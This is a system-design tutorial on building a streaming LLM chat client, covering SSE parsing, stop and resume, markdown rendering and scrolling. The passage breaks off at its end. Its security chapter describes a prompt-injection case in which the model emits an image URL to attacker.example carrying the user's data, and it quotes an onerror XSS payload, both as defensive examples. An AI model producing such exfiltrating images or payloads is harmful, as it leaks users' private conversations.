cf.completefrontend
My progress
SYSTEM DESIGN · #76

Design an LLM chat interface with streaming answers

The chat screen of an AI assistant, where a question goes in and the answer streams back word by word as formatted markdown. The hard parts are reading a stream over a plain POST, stopping and resuming it, rendering half-finished markdown fast and safely, keeping the scroll where the reader wants it, and turning edits and regenerations into a tree of versions.

The question

Design the web chat interface of an AI assistant like ChatGPT or Claude. The user types a question, and the answer appears word by word as the model writes it. Answers are markdown: headings, lists, tables, and code blocks with syntax highlighting.

The user can stop an answer halfway, regenerate it, edit an earlier question, attach files, and come back to old conversations from a sidebar. Walk me through the client: how the answer travels from the server to the screen, how you render it fast and safely, and what happens when the stream breaks.

Real-life examples: ChatGPT, Claude.ai, Google Gemini, Microsoft Copilot, Perplexity

Requirements: what a streaming chat must do

An LLM chat looks like the simplest screen in the world: a list of messages and a text box. The difference from a normal chat is where the other side's words come from. In a chat app, a person writes a whole message and sends it once.

Here, a large language model (LLM: a program that writes text one small piece at a time) produces the answer over 5 to 60 seconds, and the user wants to read it while it is being written. Almost every hard decision in this guide comes from that one fact.

A small piece of text from the model is called a token. A token is about 4 characters of English on average, so a 600-word answer is roughly 800 tokens.

Models today write about 30 to 150 tokens per second, so that answer takes 5 to 25 seconds to finish. Nobody wants to stare at a spinner for 25 seconds. That is why the answer streams.

Start the interview by asking questions whose answers change the design. The table shows the answer this guide assumes, and what would move if the interviewer answered differently.

QuestionAnswer we assumeWhat it changes
Is the answer streamed, or shown when done?Streamed, token by token.We need a streaming transport, a stream parser, and incremental rendering.
What format are answers in?Markdown: headings, lists, tables, links, images, code blocks, maybe math.A markdown renderer that copes with half-written input, and a sanitizer.
Can the user stop, regenerate, and edit?Yes, all three. Old versions stay reachable.A tree of messages, not a flat list.
How long are conversations?Usually 2 to 40 turns. Some reach 300 turns and 200,000 tokens.Long lists need windowing (mounting only the rows near the viewport); the sidebar needs pagination.
Attachments and tools?Files and images up to 20 MB. The model may search the web or run code.An upload step before sending, and tool calls shown as steps in the answer.
Which devices?Desktop browsers first, mobile web second.Scroll behavior on touch, the virtual keyboard, and slow phones parsing markdown.
Limits and pricing?Free users get a message quota per few hours. The model can be overloaded.Clear 429 handling, a countdown, and a fallback model.
Do several tabs or devices share history?Yes, history lives on the server.The sidebar refetches and the client never treats local state as the truth.
A wireframe of an AI chat in a browser window. On the left, a sidebar with a New chat button, then Today: SSE parser (open), Trip plan, and a new conversation still titled New chat, then Yesterday: Tax help. On the right, the user's question parse SSE in TS?, a finished tool step Searched: 3 sources, the answer text Here is a parser:, and a code block still shown as plain text. Under the answer: a version control 2 of 3, Copy, and Retry, then a Jump to latest button. At the bottom, the composer with an attached file a.pdf and a Stop button. Notes say tool steps are message parts, code stays plain until its block closes, versions form a tree, and Send turns into Stop while streaming.chat.example.com+ New chatTodaySSE parserTrip planNew chatYesterdayTax helpparse SSE in TS?Searched: 3 sourcesHere is a parser:code: readEvents()< 2 / 3 > Copy RetryJump to latestAsk anythinga.pdfStoptool steps aremessage partscode stays plainuntil it closesversions forma treeSend turns intoStop mid-stream
Every part maps to a chapter: tool steps and the code block are parts of one streamed message, the 2 / 3 control walks a tree of versions, and the Send button becomes Stop while the answer streams.

Functional requirements

  • Send a message and see the answer stream in as formatted markdown, with code blocks highlighted once they finish.
  • Stop an answer at any time. The text written so far stays, marked as stopped.
  • Regenerate an answer, and flip between versions with a 2 of 3 style control.
  • Edit an earlier question and resend it. This starts a new branch; the old branch stays reachable.
  • Copy an answer or a single code block.
  • Attach files and images, and see tool calls (web search, code run) as steps inside the answer.
  • Browse past conversations in a sidebar, with titles that the server generates after the first answer.
  • Keep an unsent draft per conversation, even across a reload.

Non-functional requirements, with numbers

Non-functional requirements are qualities: how fast, how safe, how accessible. Each one gets a number so it can be checked later. The most important number in this product is time to first token (TTFT): the time from pressing Send to seeing the first word of the answer. Users judge the whole product by it.

  • Show that the message was sent within 100 ms of pressing Enter (the question appears at once, with a typing indicator).
  • The client adds no more than 50 ms on top of the server's time to first token. The server's own TTFT is often 300 ms to 2 s, longer for reasoning models (models that think before they answer).
  • Keep the page smooth while streaming: no long task (main-thread work that blocks input) over 50 ms, and Interaction to Next Paint (INP: how long the page takes to respond to a click or key) under 200 ms, even while 100 tokens per second arrive.
  • Never run code or HTML from the model's output. Treat every byte of it as untrusted.
  • Work with a screen reader: the user hears the answer once, in readable chunks, not one token at a time.
  • Survive a dropped connection: never lose the user's question, and recover the answer if the server still has it.

Out of scope

Say out loud what you will not design, so the interviewer can object. Here: the model itself and how it is served, billing, login, voice mode, sharing conversations by link, and the rich text editor inside the composer (that is its own problem; see the rich text editor guide). The messaging basics that any chat shares, such as optimistic sends and offline outboxes, are covered in the chat app guide. This guide focuses on what is new when the other side is a model.

Check your understanding · Exercise 1

Which answers from the interviewer would change the client design the most? Select all that apply.

What makes this hard

Before picking any technology, name the properties of this problem that drive every later decision. There are five, and each one gets a chapter.

  1. The answer arrives in hundreds of small pieces. A 20-second answer is 1,000 or more chunks. Each chunk must be read off the network, parsed, added to state, and painted. A design that re-renders the whole message per chunk works in a demo and stutters on a mid-range phone.
  2. The answer is long-running and costs money. Every token costs the company compute. A request that runs for 40 seconds can be stopped by the user, killed by a train tunnel, or cut by a proxy timeout. Each case needs a defined outcome, both for the screen and for the bill.
  3. The content is half-finished while you render it. At any moment the text may end inside a code fence, a table row, a link, or a bold word. A renderer built for finished documents shows broken output, flickers, or spends most of its time re-parsing.
  4. The content is untrusted. The model writes whatever the prompt, a web page it read, or an uploaded file nudges it to write. Its output is input from a stranger, exactly like a comment on a forum, and it can contain script tags, javascript: links, and tracking images.
  5. The page grows under the reader. While the answer streams, the content gets taller several times a second. The reader may want to follow it, or scroll up to reread something. Getting the scroll wrong is the most common complaint about chat UIs.

Compare this with a normal chat app. There, messages are small, finished, written by people, and arrive a few per minute.

Here, one message is large, unfinished, machine-written, and arrives 50 times per second. The list of messages is the easy part. The single message being written is the hard part.

A timeline of one answer. At 0 seconds the user presses Send. Until 0.9 seconds the client waits; that gap is the time to first token. From 0.9 to 12 seconds the answer streams at about 70 tokens per second. At 12 seconds the done event arrives. Below, what the screen shows in each phase: the question with a thinking indicator, then the growing answer with a Stop button, then the finished answer with Copy and Retry.TTFT 0.9 sabout 70 tokens per secondwaitingstreaming0 s: Send0.9 s: first token12 s: donethinking dotsanswer grows, StopCopy, Retrywhat the screen shows in each phase
Time to first token decides whether the product feels alive; tokens per second decides how it reads; the end of the stream is when Copy and Retry make sense.

The timeline above shows the life of one answer. Three moments matter. Time to first token is when the user stops wondering whether anything happened. Tokens per second is the reading speed the user sees for the rest of the answer.

Time to last token is when actions such as Copy and Regenerate make sense. A good client shows something useful at each stage: the question at once, a thinking indicator until the first token, the growing answer, then the finished answer with its actions.

Think first

If the model writes 60 tokens per second and the answer is 900 tokens, how long does a non-streaming client make the user wait? Why does streaming feel so much faster when the total time is the same?

Streaming the answer from server to screen

The first big decision is how the answer travels. The request is a POST that carries the new message, the conversation ID, the model name, and attachment IDs, and it needs an auth header. The response is one long answer that arrives in pieces over many seconds. Four transports could carry it.

Decision How does the streamed answer reach the browser?

Wait for the full answer

One POST, the server replies with the whole answer as JSON when the model finishes.

Pros

  • Simplest client: one await res.json().
  • Easy to cache, retry, and test.

Cons

  • The user waits 5 to 40 seconds with nothing to read.
  • Stop is useless: there is nothing to keep.
  • Long requests hit proxy timeouts, often 30 to 60 seconds.

EventSource

The browser's built-in server-sent events client: new EventSource(url).

Pros

  • Parsing and reconnects with Last-Event-ID are built in.

Cons

  • GET only, no request body, no custom headers.
  • Needs a separate POST first to create the answer, then a second request to stream it.

fetch with a streamed body

POST with fetch, read res.body (a ReadableStream) as it arrives.

The server writes the same text/event-stream format that EventSource reads.

Pros

  • Any method, body, and headers.
  • AbortController gives a real Stop.
  • One request per answer, no extra round trip.

Cons

  • You parse events yourself and write your own retry and resume logic.

WebSocket

One long-lived two-way connection per tab; answers arrive as messages on it.

Pros

  • Low overhead for many small messages both ways.
  • Good when the server also pushes other things (voice, collaboration).

Cons

  • Its own reconnect, auth, and backpressure logic.
  • Harder through some corporate proxies.
  • A chat turn is one request and one reply: the two-way channel is mostly idle.

What we pick: Use fetch with a streamed body, in the text/event-stream format. A chat turn is exactly one request that produces one streamed reply, which is what fetch streaming is for. Keep the server format compatible with EventSource, so the hybrid (a POST that returns a message ID, then a GET stream you can reconnect to) stays open as a resume path. This is the same advice as the server-sent events lesson, so read it for the event format and the basic parser; this chapter goes into the parts that matter for chat.

Three layers between bytes and tokens

Reading the stream is three separate jobs, and keeping them separate is what makes the parser correct. First, TextDecoderStream turns bytes into text. It matters because an emoji or a Hindi character is 3 or 4 bytes in UTF-8, and a network chunk can end in the middle of one; the decoder holds back the half character until the rest arrives.

Second, a line splitter turns text into complete lines, keeping any unfinished line in a buffer. Third, an event builder collects event:, data:, and id: lines and emits one event at each blank line.

Here is what that looks like with real chunks. Suppose the server writes three events: event: delta with data: {"t":"Hello"}, the same with " world", then event: done. The network might deliver them as five chunks that cut through the middle of a JSON value, the middle of a field name, and the gap between the two newlines that end an event. The lab below lets you step through exactly this, and see what sits in the buffer after each chunk.

No chunks yet. Press Next chunk to receive the first one.

Five network chunks of one event stream; 0 received. Parser: buffered. Buffer: empty. Events emitted: none. Answer so far: nothing.chunks from the networkparser state1: event: delta\ndata: {"t":"Hel2: lo"}\n\nevent: del3: ta\ndata: {"t":" wor4: ld"}\n5: \nevent: done\ndata: {}\n\nbuffer: emptyno event in progressevents emittednone yetanswer on screen: ""the server sent: Hello world
The buffer keeps the unfinished line. An event is emitted only at the blank line, so a chunk that ends mid-line or between the two newlines loses nothing.
ts
type SseEvent = { event: string; data: string; id?: string };

export async function* readEvents(body: ReadableStream<Uint8Array>) {
  const reader = body.pipeThrough(new TextDecoderStream()).getReader();
  let buf = "";
  let ev: SseEvent = { event: "message", data: "" };
  for (;;) {
    const { value, done } = await reader.read();
    if (done) return;
    buf += value;
    let nl: number;
    while ((nl = buf.search(/\r\n|\n|\r(?!$)/)) >= 0) {
      const line = buf.slice(0, nl);
      buf = buf.slice(nl + (buf.startsWith("\r\n", nl) ? 2 : 1));
      if (line === "") { if (ev.data) yield ev; ev = { event: "message", data: "" }; continue; }
      if (line.startsWith(":")) continue; // comment, used as a heartbeat
      const i = line.indexOf(":");
      const field = i < 0 ? line : line.slice(0, i);
      const val = i < 0 ? "" : line.slice(i + 1).replace(/^ /, "");
      if (field === "data") ev.data += (ev.data ? "\n" : "") + val;
      else if (field === "event") ev.event = val;
      else if (field === "id") ev.id = val;
    }
  }
}
An async generator: the caller writes for await (const ev of readEvents(res.body)). A lone \r at the end of the buffer waits, because its \n may be in the next chunk. It is simplified: it ignores retry:, and skips an event whose data is empty.

Two more details. Comment lines that start with a colon (: ping) carry no data; the server sends one every 15 seconds so proxies do not close an idle connection while a reasoning model thinks for a minute. And multiple data: lines in one event join with a newline, which is how the format carries text that itself contains newlines. Most teams use a small tested library such as eventsource-parser instead of this code, but you should be able to explain what it does.

The events our server sends

The browser never calls the model provider directly, because that would expose the API key. Our backend calls the provider and writes its own, simpler stream to the browser. Designing those events is part of the frontend design, because the client depends on them.

text
event: start
data: {"messageId":"m-812","parentId":"m-811","model":"fast-2"}

event: delta
id: m-812:1
data: {"text":"Sure. Here is"}

event: tool
id: m-812:2
data: {"stepId":"s1","tool":"search","status":"running","label":"Searching the web for SSE spec"}

event: delta
id: m-812:3
data: {"text":" a short example:\n\n```ts\n"}

: ping

event: done
id: m-812:4
data: {"finish":"stop","usage":{"in":1840,"out":412}}
Every event after start carries an ID made of the message ID and a sequence number. The client remembers the last one, which is what makes resuming possible.

start arrives before the model writes anything. It gives the server-made message ID right away, so Stop, Retry, and Resume can refer to it. delta carries text. tool carries the progress of tool calls (later chapter). done ends the answer with a finish reason (stop, length when the model hit its output limit, cancelled, content_filter) and token counts. An error event carries a code when the model fails midway. A stream that ends without done or error is a dropped stream, and the client must treat it as one.

A sequence diagram of sending a message. The user presses Enter. The UI calls send with the text and an idempotency key on the stream controller. The controller sends POST /api/chat to the backend, which calls the model with streaming on. The backend first replies with a start event carrying message ID m-812. The model streams tokens to the backend, which forwards them as delta events. The controller flushes text to the store once per animation frame, and the UI re-renders so the answer grows.userUIstreambackendmodelEntersend(text, key)POST /api/chatmodel callstart: m-812tokensdelta eventsflush per frameanswer grows
The start event arrives before any text, so Stop, Retry, and Resume can name the message at once. Tokens arrive many times per frame but reach React once per frame.

Measuring time to first token in the client

Time to first token, measured in the browser, includes things server metrics miss: DNS and TLS for a cold connection, a slow phone parsing JSON, and our own render. Mark three timestamps with performance.now(): when the user pressed Send, when the first delta event was parsed, and when the first text was painted (the next requestAnimationFrame after updating state). The difference between the last two is the client's own cost. If it grows above 50 ms, the render path is the problem, not the model.

Check your understanding · Exercise 2

A user reports that some answers show stray characters like a question mark in a diamond, and some events go missing. Which parser bugs could cause this? Select all that apply.

Stopping, retrying, and resuming a stream

An answer can end in five ways: it finishes, the user stops it, the model fails midway, the network drops, or the user leaves the page. The naive client handles only the first. Write the others down as a state machine before writing any code, because each state decides which buttons show and what the server is told.

A state machine for one answer. Idle goes to sending on Send. Sending goes to waiting when the start event arrives, or to error on a 429 or 5xx. Waiting goes to streaming on the first delta. Streaming goes to done on the done event, to stopped when the user presses Stop, or to interrupted when the connection drops or is silent for 30 seconds. Interrupted goes to resuming after a backoff. Resuming goes back to streaming with Last-Event-ID, or to error when retries are used up.idlesendingwaitingerrorstoppedstreamingdoneresuminginterruptedSendstartfirst deltadoneStop429 or 5xxdrop, or 30 s silentbackoffLast-Event-IDretries out
Write the states down before the code. Each one decides which buttons show: Stop in sending, waiting, and streaming, Retry in stopped, interrupted, and error, Copy once there is text.

Stop: abort the request, and stop the bill

The Stop button calls controller.abort() on the AbortController whose signal was passed to fetch. The browser closes the connection, reader.read() rejects with an AbortError, and the client moves the message to stopped, keeping the text received so far. That is the easy half.

The other half is the server. Closing the connection only helps if the backend notices and cancels its own call to the model provider. If it does not, the model keeps writing 2,000 tokens nobody will read, and the company pays for every one. On a product with millions of daily answers, where a few percent are stopped early, that waste is real money.

Even closing the provider's stream is not a guarantee. Whether that stops generation and billing at once depends on the provider, and a few tokens already in flight may still be billed, so check the provider's docs and your usage logs. There are two ways for our server to know the user stopped.

  • Watch the connection. Most server frameworks expose the client disconnect (an abort signal on the incoming request, or a close event). The handler passes it on to its own fetch to the provider. This is required in every design.
  • An explicit stop call. The client also sends POST /api/messages/m-812/stop. This matters when the connection is not end to end: an HTTP/2 proxy or a load balancer may keep the upstream connection open for a while after the browser closed its side, and in the resume design below the generation runs separately from any one connection. The stop call is cheap, idempotent, and removes the doubt.

Also decide what the stopped answer means for the conversation. Most products keep the partial text as the assistant message, mark it cancelled, and send it as context in the next turn. The server is the source of truth for exactly how much text was kept: the client may have rendered a few tokens fewer or more than the server saved, so after a stop, the client accepts the server's final text from the stop response.

A sequence diagram with two paths. First, Stop: the user presses Stop, the UI calls abort on the stream controller, the message becomes stopped, the controller sends POST stop to the backend, the backend cancels its model call, and replies with the final saved text. Second, the failure path: the connection drops mid-answer, the controller waits with backoff and sends a resume request after event 57, the backend replays events 58 onward from its buffer, and the UI shows the answer with no gap.userUIstreambackendmodelStopabort()stoppedPOST /stopcancelfinal textdropresume after 57events 58+no gap
Top: aborting the fetch is only half of Stop; the backend must cancel the model call too. Bottom: because generation does not depend on the connection, a drop costs a short pause, not the answer.

When the stream drops in the middle

Now the hard case. The user is on a train; 300 tokens into an 800-token answer, the connection dies. reader.read() rejects with a TypeError (a network error), or worse, the read simply hangs because the connection died silently. Detect the silent case with a watchdog: if no event or heartbeat arrives for 30 seconds (twice the heartbeat interval), abort the request yourself and treat it as dropped.

Decision What should the client do after a dropped stream?

Restart from scratch

Send the same question again and replace the partial answer with the new stream.

Pros

  • No server state needed beyond what already exists.

Cons

  • The model writes a different answer; the 300 tokens the user was reading vanish and different words appear.
  • Pays for the first 300 tokens twice.
  • If the first request is still running on the server, two answers now compete for the same slot.

Keep the partial and offer Retry

Mark the message interrupted, keep the text, and show a Retry button that regenerates.

Pros

  • Honest and simple. The user decides.

Cons

  • The user does extra work for a problem the system could solve.
  • Still loses the rest of an answer the server may have finished.

Resume from the last event

The server keeps writing the answer to a store (for example Redis) as it generates, independent of the connection.

The client reconnects to GET /api/messages/m-812/stream with Last-Event-ID: m-812:57 and gets events 58 onward. With fetch, the client sets that header itself; only EventSource sends it automatically.

Pros

  • The user sees no gap and no repeated text.
  • No double billing: the model call ran once.
  • Also fixes reloads and opening the same chat in a second tab mid-answer.

Cons

  • The server must decouple generation from the request and buffer events for a few minutes.
  • More moving parts to run and test.

What we pick: Resume when the server supports it, and fall back to keeping the partial with a Retry button when it does not (the buffer expired, or the message is unknown). Never silently restart: it shows the user text that rewrites itself. The client logic is the same reconnect loop as in the retries and backoff lesson: wait about 1, 2, then 4 seconds with jitter (a small random extra wait, so clients do not retry in step), give up after 3 or 4 tries, and stop retrying at once when the browser reports it is offline, trying again on the online event.

Resume has a subtle rule: the client must apply each event at most once. Keep the last sequence number you applied per message. When resumed events arrive, skip any with a number at or below it. That makes resume safe even if the server replays a few events you already have.

Never send the same question twice

The worst drop happens right after Send, before start arrives. Did the server receive the question? If the client simply resends, the user may end up with the question twice and two answers, each billed. The fix is an idempotency key: the client makes a random ID (crypto.randomUUID()) for the user's message before sending, and the server stores it.

A second POST with the same key does not start a new answer; it returns the existing one, or attaches to its stream. The client can now retry a send blindly, which is exactly what you want after a network error.

ts
async function send(turn: PendingTurn, attempt = 0): Promise<void> {
  const ctrl = new AbortController();
  turn.abort = () => ctrl.abort();
  try {
    const res = await fetch("/api/chat", {
      method: "POST",
      headers: { "Content-Type": "application/json", "Idempotency-Key": turn.clientId },
      body: JSON.stringify({ conversationId: turn.conversationId, parentId: turn.parentId, text: turn.text }),
      signal: ctrl.signal,
    });
    if (res.status === 429) return turn.rateLimited(res.headers.get("Retry-After"));
    if (!res.ok || !res.body) throw new HttpError(res.status);
    await turn.consume(readEvents(res.body)); // applies events, skipping seen sequence numbers
  } catch (err) {
    if (ctrl.signal.aborted) return turn.markStopped();
    if (turn.messageId) return turn.resume(); // GET .../stream with Last-Event-ID
    if (attempt < 3 && isRetryable(err)) {
      await sleep(backoffWithJitter(attempt));
      return send(turn, attempt + 1); // same Idempotency-Key, so no duplicate
    }
    turn.markFailed(err);
  }
}
Three exits: stopped by the user, resumed because the server already made a message, or retried with the same key because it may not have.

Check your understanding · Exercise 3

The user presses Stop, and the network tab shows the request was cancelled. A week later, finance reports that stopped answers still cost as much as finished ones. Which fixes help? Select all that apply.

Rendering markdown while it is still being written

The model writes markdown, and the user expects to see formatting as it arrives: a heading becomes a heading, a list becomes a list, a code block gets a box. The naive approach is to keep the whole answer in one string, append each token, and pass the string to a markdown component on every change. It works for the first paragraph. Then it falls apart.

Do the arithmetic. A long answer is 12,000 characters. A typical markdown parser plus React rendering of that much content takes roughly 4 to 15 ms on a fast laptop, and several times longer on a mid-range Android phone (rough figures; profile your own).

At 80 events per second, re-parsing everything on every event asks for 80 full parses per second, each slower than the last as the text grows. On the phone, that is more than the whole frame budget of 16.7 ms per frame. The page stutters, scrolling lags, and the Stop button takes half a second to respond: a broken INP exactly when the user wants control.

Decision How do we render streaming markdown without re-doing all the work per token?

Re-parse everything, but less often

Append tokens to a buffer and flush to state once per animation frame, or every 50 to 100 ms.

Pros

  • A few lines of code. Cuts renders from about 80 per second to at most 60, often 10 to 20.

Cons

  • Each render still re-parses the whole answer, so cost still grows with length.

Split into blocks, re-parse only the last one

Split the text into top-level blocks (paragraphs, lists, code fences, tables) at blank lines outside code fences.

Every block except the last is finished and never changes; render it once and memoize it.

Only the last, open block is re-parsed on each flush.

Pros

  • Cost per flush stays flat, no matter how long the answer gets.
  • Finished blocks can be highlighted and never re-render.

Cons

  • Block splitting must respect code fences and lists, or it splits in the wrong place.

A true incremental parser

A parser that keeps its state and consumes only new characters, emitting append operations to the DOM.

Pros

  • The least work per token in theory.

Cons

  • Markdown is not designed for this: a later line can change how earlier lines are read (a line of === turns the previous line into a heading).
  • Few well-tested libraries; hard to combine with React.

What we pick: Combine the first two. Batch tokens into one state update per animation frame, and split the answer into blocks so only the last block is re-parsed. That turns a cost that grows with the answer into a small, flat cost per frame. The two together are what most production chat UIs do, and they need no special parser.

Two ways to render a streaming answer of five blocks: a heading, a paragraph, a list, a table, and an open code block. On the left, every block is re-parsed on every token: 12,000 characters, 80 times a second, and the cost grows with the answer. On the right, the four finished blocks are memoized and never parsed again; only the open code block is re-parsed, once per frame, with its fence closed for now. The cost stays flat.re-parse all, every tokenonly the open block## Headingparagraphlist, 4 itemstable, 6 rowscode (open)## Heading: memoparagraph: memolist, 4 items: memotable, 6 rows: memocode: closed for now12,000 chars, 80 times a secondone block, once per framecost grows with lengthcost stays flat
Finished blocks never change, so they can be rendered once. Only the last, open block needs work on each frame, and that keeps the cost flat however long the answer gets.

Batching tokens per animation frame

The stream reader does not touch React state. It appends text to a plain buffer and schedules one flush with requestAnimationFrame, if one is not already scheduled. The flush moves the buffer into state, and React renders once. Ten tokens that arrive within one frame become one render.

Using an animation frame instead of a fixed timer has a bonus: when the tab is in the background, the browser pauses animation frames, so a hidden tab does no rendering work at all, and catches up in one render when the user comes back. The debounce and throttle lesson explains why this is a throttle, not a debounce: we want steady updates during the stream, not one update after it stops.

ts
let pending = "";
let scheduled = false;

function onDelta(text: string) {
  pending += text;
  if (scheduled) return;
  scheduled = true;
  requestAnimationFrame(() => {
    scheduled = false;
    const chunk = pending;
    pending = "";
    store.appendToStreaming(chunk); // one state update, one render
  });
}
On done, flush whatever is pending at once, without waiting for a frame, so the final text is never one frame short.

Splitting into blocks

Walk the text line by line. Track whether you are inside a code fence (a line starting with three backticks or three tildes opens or closes it). A blank line outside a fence ends a block. Keep the list of finished blocks and the start offset of the open block, so the next flush only scans the new characters.

Each finished block renders through a memoized component keyed by its index, and its text never changes again, so React skips it on every later render. Watch out for lists: a blank line between two list items does not end the list. A simple rule is to treat a block that starts with a list marker as open until a non-indented line that is not a list item appears.

Half-open syntax: fences, tables, links, emphasis

The open block is usually broken markdown. Rendering it as-is causes visible jumps. Fix the worst cases before parsing the open block, on a copy of the text, never on the stored answer.

Half-written inputWhat a plain parser showsWhat we do
An opened code fence with no closing fence yetUsually fine, the parser runs the code block to the end of input. Some renderers show nothing until it closes.Append a temporary closing fence so the code box appears at once and grows.
A table header and the separator line, rows still comingA table that gains a row each time a row line completes. Before the separator line, it is a paragraph of pipes.Hold back a line that starts with a pipe until it ends with a newline, so half rows never render.
**bold with no closing stars yetLiteral asterisks, which turn into bold a moment later: a flicker.Hide a trailing unmatched ** or single backtick until it closes or the block ends.
[link text](https://exaThe literal brackets, then a link with a wrong URL.Render the link text as plain text until the closing parenthesis arrives.
Math between $$ markersRaw LaTeX, then a typeset formula.Show the raw source in a muted style; typeset only when the block closes.

Syntax highlighting after the block completes

Syntax highlighting is the most expensive step. Highlighters such as Shiki or Prism tokenize code with grammars, and a 200-line block can take tens of milliseconds on a phone. Never highlight an open code block on every flush. While the block is open, show plain monospaced text.

When its closing fence arrives, highlight it once, off the main thread if you can (a web worker that returns HTML or tokens). Load the highlighter and each language grammar lazily, the first time a code block appears, since many answers have no code at all. The small swap from plain to coloured text is barely noticed. A stutter while the user is reading is.

Check your understanding · Exercise 4

An answer with a long code block makes the page stutter as it streams, but only on phones. Which changes target the cause? Select all that apply.

Rendering model output safely

Treat the model's answer like a comment typed by a stranger. The model repeats whatever is in its context: the user's question, a pasted email, a web page it searched, an uploaded PDF. Any of those can contain text written by an attacker. This is called prompt injection: instructions hidden in content that the model reads and then follows.

The frontend cannot stop the model from being tricked. It can make sure that whatever the model writes cannot run code, leak data, or fool the user. The XSS lesson covers the basics of cross-site scripting; this chapter covers what is special about model output.

Decision How do we turn markdown from the model into DOM safely?

Markdown to HTML string, then innerHTML

Run a markdown library that outputs HTML and set it with dangerouslySetInnerHTML.

Pros

  • Fast, and the simplest code.

Cons

  • CommonMark allows raw HTML, and some libraries pass it through by default (marked, for one, does not sanitize its output), so <img src=x onerror=...> in the answer runs.
  • One forgotten option and the page is open to script injection.

HTML string, sanitized with DOMPurify

Same as above, but pass the HTML through a sanitizer with a strict allow-list before inserting it.

Pros

  • A well-tested sanitizer removes scripts, event handler attributes, and dangerous URLs.

Cons

  • Sanitizing the whole answer on every flush is extra work.
  • Still an HTML string, so React cannot memoize blocks or attach components like a Copy button easily.

Markdown to a syntax tree, then React elements

Parse markdown to a tree (for example with the remark and rehype family behind react-markdown), with raw HTML disabled.

Map each node type to a React component you choose; unknown nodes render as text.

Pros

  • No HTML string is ever parsed by the browser, so injected tags show as text.
  • Custom components per node: code blocks with Copy buttons, links with checks, images behind a proxy.

Cons

  • Slightly slower than a string renderer.
  • You must still check URLs yourself: React does not block every dangerous URL.

What we pick: Parse to a tree and render React elements, with raw HTML turned off. The allow-list is the set of node types you map; everything else becomes plain text. On top of that, check every URL and route images through a proxy, as below. If a product truly must render model HTML (a preview of a generated web page), put it in a sandboxed iframe on a separate origin, never in the main page.

  • Allow only https:, http:, and mailto: URLs. Parse with new URL(href) and check protocol; drop javascript:, data:, and vbscript: links, which run code or hide content when clicked. React 19 replaces javascript: URLs in href with one that throws, but other schemes pass through. react-markdown filters link protocols with its default urlTransform, but other libraries may not, so check the protocol yourself.
  • Open links in a new tab with rel="noopener noreferrer". Modern browsers already imply noopener for target="_blank", but saying it keeps older browsers safe from the new page controlling our tab through window.opener. noreferrer also stops the browser from sending our origin in the Referer header.
  • Show the real domain. A model can be tricked into writing [your bank](https://evil.example). Show the hostname next to or on hover over every link, and consider a confirm step for domains the model was not given by a tool.

Images, the quiet leak

Images are the most dangerous markdown feature in an AI chat, because the browser loads them without a click. Picture this attack: the user asks the assistant to summarize a web page. Hidden in the page is text telling the model to write an image like ![](https://attacker.example/pixel.png?d=...) with the user's earlier messages encoded in the URL.

The browser fetches the image, and the attacker's server log now holds private data. No script ran; the leak happened through a plain GET. Security researchers have shown this leak against real AI chat products, including Bing Chat and ChatGPT, and the usual fix was to restrict which image URLs the client loads.

An attacker hides text in a web page. The model reads the page and writes an answer containing an image whose URL carries the user's secrets. The browser loads the image without any click, sending GET with the data to the attacker's server, which logs it. Two defenses: a rule to render no images from unknown hosts, and a CSP img-src directive so the browser refuses the request.attackerweb pagehidden textmodelreads the pageanswerimage URL + secretsbrowserloads it, no clickattacker lognow has the dataGET ?d=secretCSP img-src:the browser refusesno images fromunknown hosts
No script runs and no link is clicked: a plain image request carries the data out. Block it twice, in the renderer and in the browser's CSP.
  • Do not render images with arbitrary URLs from model output. Either allow only images from your own domain and a short list of trusted hosts, or show them as links the user must click.
  • If images from the web are a feature, the backend fetches and re-hosts them (an image proxy) only when a tool produced them, never for URLs the model made up.
  • Back this up with a Content Security Policy (see the CSP lesson). An img-src directive that lists only your own image hosts makes the browser refuse the attacker's pixel even if a bug lets the tag through. Pair it with a strict script-src that uses nonces or hashes, so an injected script cannot run.

Tool results and the confused user

When the model uses tools, attacker-controlled text from a search result can end up in the answer and look like the assistant's own advice. The UI helps the user judge it.

Show tool steps with their source ("Searched: 3 results from example.com"), show citations as numbered links to the source, and never let the model's text render with the look of a system message or a button. Actions the model proposes that touch the outside world, such as sending an email, need an explicit confirm step that shows exactly what will be sent.

Check your understanding · Exercise 5

Which defenses stop the image data leak described above? Select all that apply.

Scroll: following the answer without fighting the reader

While an answer streams, the message list gets taller several times a second. The naive fix is el.scrollTop = el.scrollHeight after every update. It keeps the newest text in view, and it makes the product unusable for anyone who scrolls up to reread the question or copy a line from the answer: every new token yanks them back down. The opposite naive choice, never scrolling, makes the answer run off the bottom of the screen while the user watches nothing happen.

The rule users expect is stick to bottom: if the reader is at the bottom, keep them there as content grows. If they scroll up, even by a little, stop following and show a "Jump to latest" button.

If they scroll back to the bottom, or press the button, start following again. The lab below shows the difference. Stream an answer, scroll up mid-stream, and compare the naive version with stick-to-bottom.

Stream a few lines, then scroll up to reread and keep streaming.

An answer of 3 lines in a viewport that shows 5 lines, from line 1 to line 3. Rule: stick to bottom. Following: yes. Jump to latest button: hidden. Times pulled away while reading: 0.the answer, top to bottomline 1line 2line 3visiblerule: stick to bottomfollowing: yesjump button: hiddenpulled away: 0
Stream a few lines, then scroll up to reread and keep streaming.

Decision How do we know whether to follow the stream?

Measure distance from the bottom on every update

Before each render, check scrollHeight - scrollTop - clientHeight. If it is under a threshold such as 40 px, scroll down after rendering.

Pros

  • Simple and stateless.

Cons

  • Measuring layout before every render forces extra layout work.
  • A tall chunk (a table arriving at once) can push the reader past the threshold and stop following by mistake.

A follow flag driven by user intent

Keep a boolean following. Set it to false only on user scroll input that moves up (wheel with negative deltaY, touch drag, keyboard Page Up or Up arrow, scrollbar drag).

Set it to true when the reader reaches the bottom again, or presses Jump to latest.

While following, scroll to the bottom after each flush.

Pros

  • Content growth can never turn following off by itself.
  • Matches what the user did, not what the layout did.

Cons

  • More event listeners; scrollbar drags only show up as scroll events, so they need a check.

A sentinel at the bottom with IntersectionObserver

Put an empty element at the end of the list and observe it. When it is visible, the user is at the bottom.

Pros

  • No layout reads in scroll handlers; the browser reports visibility.

Cons

  • It reports where the view is, not why: our own scroll and the user's scroll look the same.

What we pick: Use the follow flag driven by user intent, and an IntersectionObserver sentinel to show or hide the Jump to latest button and to turn following back on when the user reaches the bottom themselves. Our own programmatic scrolls never change the flag. This keeps the two questions apart: what does the user want (intent) and where is the view (sentinel). The chat app guide uses the simpler distance rule (within about 100 px of the bottom), which suits whole messages that arrive a few per minute; an answer that grows many times a second is where it breaks.

The mechanics

